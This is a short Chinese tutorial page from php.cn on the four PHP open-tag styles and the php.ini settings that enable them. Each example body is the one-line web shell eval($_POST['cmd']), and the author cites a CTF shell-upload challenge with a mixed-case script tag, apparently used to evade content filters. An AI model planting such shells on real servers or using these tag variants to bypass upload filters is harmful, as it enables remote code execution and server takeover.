首頁 > 後端開發 > PHP問題 > PHP的標識有哪些

PHP的標識有哪些

藏色散人
發布: 2023-02-28 07:52:01
原創
3536 人瀏覽過

PHP的標識有哪些

PHP的標識有哪些?

PHP四種標記風格

1.XML風格

<?php
eval($_POST[&#39;cmd&#39;]); 
 ?>
登入後複製

php建議使用的標記風格。

伺服器管理員無法停用,所有伺服器上均可使用該風格。

2.腳本風格

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>
登入後複製

預設開啟,無法停用

筆者曾經遇過一CTF題目,要求上傳shell,但是卻對檔案內容做了過濾,

<script language="PhP">
    eval($_POST[&#39;cmd&#39;]);
</script>
登入後複製

3.簡短風格

<? 
    eval($_POST[&#39;cmd&#39;]);
?>
登入後複製

此種風格需要在設定檔php.ini中啟用short_open_tage選項

此種風格在許多環境中預設是不支援的

4.ASP風格

<% 
    eval($_POST[&#39;cmd&#39;]);
%>
登入後複製

此風格需要在設定檔php.ini中啟用asp_tag選項

在預設情況下是停用的

更多PHP相關知識,請造訪PHP中文網

以上是PHP的標識有哪些的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
php
來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板